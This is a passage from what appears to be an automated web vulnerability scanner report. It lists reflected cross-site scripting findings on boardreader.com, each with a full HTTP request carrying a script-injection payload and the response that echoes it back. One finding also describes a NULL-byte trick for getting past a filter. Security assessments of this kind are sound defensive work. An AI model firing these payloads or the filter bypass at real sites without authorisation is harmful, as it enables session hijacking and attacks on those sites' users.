GET /index.php?a=l&q=s0.2mdn.net%2Fviewad%2F817-grey.gif&ebef7%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E6f696982a6d=1&q2=s0.2mdn.net%2Fviewad%2F817-grey.gif&extended_search=1<ype=ext%00b85f1"><script>alert(1)</script>8330a287d66 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; PHPSESSID=uuhtplkaiu2jk4296c5eo0e3e1; __utma=69622787.1197951510.1296677341.1296677341.1296677341.1; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 07:30:39 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>s0.2md ...[SNIP]... "./index.php?o=10&a=l&q=s0.2mdn.net%2Fviewad%2F817-grey.gif&ebef7%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E6f696982a6d=1&q2=s0.2mdn.net%2Fviewad%2F817-grey.gif&extended_search=1<ype=ext%00b85f1"><script>alert(1)</script>8330a287d66"> ...[SNIP]...
4.105. http://boardreader.com/index.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/index.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 87160"><script>alert(1)</script>04f67b98015 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /index.php?a=l&q=s0.2mdn.net%2Fviewad%2F817-grey.gif&ebef7%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E6f696982a6d=1&q2=s0.2mdn.net%2Fviewad%2F817-grey.gif&extended_search=1<ype=ext&87160"><script>alert(1)</script>04f67b98015=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; PHPSESSID=uuhtplkaiu2jk4296c5eo0e3e1; __utma=69622787.1197951510.1296677341.1296677341.1296677341.1; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 07:31:43 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>s0.2md ...[SNIP]... f="./index.php?o=10&a=l&q=s0.2mdn.net%2Fviewad%2F817-grey.gif&ebef7%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E6f696982a6d=1&q2=s0.2mdn.net%2Fviewad%2F817-grey.gif&extended_search=1<ype=ext&87160"><script>alert(1)</script>04f67b98015=1"> ...[SNIP]...
The value of the q request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e6bb6"><script>alert(1)</script>60f59291b18 was submitted in the q parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /index.php?a=l&q=s0.2mdn.net%2Fviewad%2F817-grey.gife6bb6"><script>alert(1)</script>60f59291b18&ebef7%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E6f696982a6d=1&q2=s0.2mdn.net%2Fviewad%2F817-grey.gif&extended_search=1<ype=ext HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; PHPSESSID=uuhtplkaiu2jk4296c5eo0e3e1; __utma=69622787.1197951510.1296677341.1296677341.1296677341.1; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 07:21:19 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>s0.2md ...[SNIP]... <link rel="alternate" type="application/rss+xml" title="RSS 2.0" href="http://boardreader.com//linkrss/s0.2mdn.net/viewad/817-grey.gife6bb6"><script>alert(1)</script>60f59291b18?p=10&format=RSS2.0" /> ...[SNIP]...
The value of the q2 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %002cc1b"><script>alert(1)</script>44dd33ad4cf was submitted in the q2 parameter. This input was echoed as 2cc1b"><script>alert(1)</script>44dd33ad4cf in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /index.php?a=l&q=s0.2mdn.net%2Fviewad%2F817-grey.gif&ebef7%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E6f696982a6d=1&q2=s0.2mdn.net%2Fviewad%2F817-grey.gif%002cc1b"><script>alert(1)</script>44dd33ad4cf&extended_search=1<ype=ext HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; PHPSESSID=uuhtplkaiu2jk4296c5eo0e3e1; __utma=69622787.1197951510.1296677341.1296677341.1296677341.1; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 07:28:24 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>s0.2md ...[SNIP]... <A onclick="" href="./index.php?o=10&a=l&q=s0.2mdn.net%2Fviewad%2F817-grey.gif&ebef7%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E6f696982a6d=1&q2=s0.2mdn.net%2Fviewad%2F817-grey.gif%002cc1b"><script>alert(1)</script>44dd33ad4cf&extended_search=1<ype=ext"> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9d233"><script>alert(1)</script>fb62f634db2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /linkinfo/2mdn.net9d233"><script>alert(1)</script>fb62f634db2 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; PHPSESSID=uuhtplkaiu2jk4296c5eo0e3e1; __utma=69622787.1197951510.1296677341.1296677341.1296677341.1; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 07:30:55 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>2mdn.n ...[SNIP]... <link rel="alternate" type="application/rss+xml" title="RSS 2.0" href="http://boardreader.com//linkrss/2mdn.net9d233"><script>alert(1)</script>fb62f634db2?p=10&format=RSS2.0" /> ...[SNIP]...
4.109. http://boardreader.com/my/signup.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/my/signup.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4ee33"><script>alert(1)</script>4385cd9a478 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /my/signup.html?4ee33"><script>alert(1)</script>4385cd9a478=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; PHPSESSID=uuhtplkaiu2jk4296c5eo0e3e1; __utma=69622787.1197951510.1296677341.1296677341.1296677341.1; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 07:04:39 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut ...[SNIP]... <form name="mylogin_" action="/my/signup.html?4ee33"><script>alert(1)</script>4385cd9a478=1" method="POST"> ...[SNIP]...
4.110. http://boardreader.com/s/2mdn.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/s/2mdn.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d0fe6"><script>alert(1)</script>3c9811f6ee was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /s/2mdn.html?d0fe6"><script>alert(1)</script>3c9811f6ee=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; PHPSESSID=uuhtplkaiu2jk4296c5eo0e3e1; __utma=69622787.1197951510.1296677341.1296677341.1296677341.1; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 07:27:53 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta ...[SNIP]... <link rel="alternate" type="application/rss+xml" title="RSS 2.0" href="http://boardreader.com/rss/2mdn.html?d0fe6"><script>alert(1)</script>3c9811f6ee=1&p=20&format=RSS2.0" /> ...[SNIP]...
4.111. http://boardreader.com/s/2mdn.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/s/2mdn.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 63349'><script>alert(1)</script>baab44705c0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /s/2mdn.html?63349'><script>alert(1)</script>baab44705c0=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; PHPSESSID=uuhtplkaiu2jk4296c5eo0e3e1; __utma=69622787.1197951510.1296677341.1296677341.1296677341.1; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 07:28:07 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta ...[SNIP]... <input type=hidden name='63349'><script>alert(1)</script>baab44705c0' value="1"> ...[SNIP]...
4.112. http://boardreader.com/site/Monterey_military_Group_CafeMo_764716.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/site/Monterey_military_Group_CafeMo_764716.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 992f8"><script>alert(1)</script>4308af3ecf7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/Monterey_military_Group_CafeMo_764716.html?992f8"><script>alert(1)</script>4308af3ecf7=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; PHPSESSID=uuhtplkaiu2jk4296c5eo0e3e1; __utma=69622787.1197951510.1296677341.1296677341.1296677341.1; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 07:12:43 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut ...[SNIP]... <a href="http://boardreader.com/site/Monterey_military_Group_CafeMo_764716.html?992f8"><script>alert(1)</script>4308af3ecf7=1" title="Monterey military Group - CafeMom | Site Profile"> ...[SNIP]...
4.113. http://boardreader.com/site/Nolan_Fans_Forums_8842059.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/site/Nolan_Fans_Forums_8842059.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 42801"><script>alert(1)</script>8c06b2169ee was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/Nolan_Fans_Forums_8842059.html?42801"><script>alert(1)</script>8c06b2169ee=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; PHPSESSID=uuhtplkaiu2jk4296c5eo0e3e1; __utma=69622787.1197951510.1296677341.1296677341.1296677341.1; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 07:13:17 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut ...[SNIP]... <a href="http://boardreader.com/site/Nolan_Fans_Forums_8842059.html?42801"><script>alert(1)</script>8c06b2169ee=1" title="Nolan Fans | Forums | Site Profile"> ...[SNIP]...
4.114. http://boardreader.com/site/RateDesi_Forums_13026.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/site/RateDesi_Forums_13026.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 59e88"><script>alert(1)</script>ff22a856e5b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/RateDesi_Forums_13026.html?59e88"><script>alert(1)</script>ff22a856e5b=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; PHPSESSID=uuhtplkaiu2jk4296c5eo0e3e1; __utma=69622787.1197951510.1296677341.1296677341.1296677341.1; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 07:16:39 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut ...[SNIP]... <a href="http://boardreader.com/site/RateDesi_Forums_13026.html?59e88"><script>alert(1)</script>ff22a856e5b=1" title="RateDesi Forums | Site Profile"> ...[SNIP]...
4.115. http://boardreader.com/site/Research_Learn_Message_Boards_1404604.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/site/Research_Learn_Message_Boards_1404604.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b7999"><script>alert(1)</script>ffa4f5f1626 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/Research_Learn_Message_Boards_1404604.html?b7999"><script>alert(1)</script>ffa4f5f1626=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; PHPSESSID=uuhtplkaiu2jk4296c5eo0e3e1; __utma=69622787.1197951510.1296677341.1296677341.1296677341.1; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 07:13:54 GMT Server: Apache Expires: Thu, 03 Feb 2011 13:13:55 +0000 Cache-Control: no-store, max-age=21600 Pragma: Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut ...[SNIP]... <a href="http://boardreader.com/site/Research_Learn_Message_Boards_1404604.html?b7999"><script>alert(1)</script>ffa4f5f1626=1" title="Research & Learn Message Boards - AOL Message Boards | Site Profile"> ...[SNIP]...
4.116. http://boardreader.com/site/Sherdog_Mixed_Martial_Arts_For_14952.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/site/Sherdog_Mixed_Martial_Arts_For_14952.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ced5c"><script>alert(1)</script>6a0288545dc was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/Sherdog_Mixed_Martial_Arts_For_14952.html?ced5c"><script>alert(1)</script>6a0288545dc=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; PHPSESSID=uuhtplkaiu2jk4296c5eo0e3e1; __utma=69622787.1197951510.1296677341.1296677341.1296677341.1; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 07:20:51 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut ...[SNIP]... <a href="http://boardreader.com/site/Sherdog_Mixed_Martial_Arts_For_14952.html?ced5c"><script>alert(1)</script>6a0288545dc=1" title="Sherdog Mixed Martial Arts Forums | Site Profile"> ...[SNIP]...
4.117. http://boardreader.com/site/The_CafeMom_Newcomers_Club_Gro_655408.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/site/The_CafeMom_Newcomers_Club_Gro_655408.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1e6f5"><script>alert(1)</script>40022661852 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/The_CafeMom_Newcomers_Club_Gro_655408.html?1e6f5"><script>alert(1)</script>40022661852=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; PHPSESSID=uuhtplkaiu2jk4296c5eo0e3e1; __utma=69622787.1197951510.1296677341.1296677341.1296677341.1; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 07:12:08 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut ...[SNIP]... <a href="http://boardreader.com/site/The_CafeMom_Newcomers_Club_Gro_655408.html?1e6f5"><script>alert(1)</script>40022661852=1" title="The CafeMom Newcomers Club Group - CafeMom | Site Profile"> ...[SNIP]...
4.118. http://boardreader.com/site/The_Mastiff_Sweet_Spot_6024491.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/site/The_Mastiff_Sweet_Spot_6024491.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c1e18"><script>alert(1)</script>6e380957a50 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/The_Mastiff_Sweet_Spot_6024491.html?c1e18"><script>alert(1)</script>6e380957a50=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; PHPSESSID=uuhtplkaiu2jk4296c5eo0e3e1; __utma=69622787.1197951510.1296677341.1296677341.1296677341.1; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 07:13:27 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut ...[SNIP]... <a href="http://boardreader.com/site/The_Mastiff_Sweet_Spot_6024491.html?c1e18"><script>alert(1)</script>6e380957a50=1" title="The Mastiff Sweet Spot | Site Profile"> ...[SNIP]...
4.119. http://boardreader.com/site/UFC_Community_Forum_9057873.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/site/UFC_Community_Forum_9057873.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7eb29"><script>alert(1)</script>110fab5c39e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/UFC_Community_Forum_9057873.html?7eb29"><script>alert(1)</script>110fab5c39e=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; PHPSESSID=uuhtplkaiu2jk4296c5eo0e3e1; __utma=69622787.1197951510.1296677341.1296677341.1296677341.1; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 07:16:13 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut ...[SNIP]... <a href="http://boardreader.com/site/UFC_Community_Forum_9057873.html?7eb29"><script>alert(1)</script>110fab5c39e=1" title="UFC Community Forum | Site Profile"> ...[SNIP]...
4.120. http://boardreader.com/site/Ultimate_College_Softball_5898982.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/site/Ultimate_College_Softball_5898982.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5b11b"><script>alert(1)</script>5da4301906 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
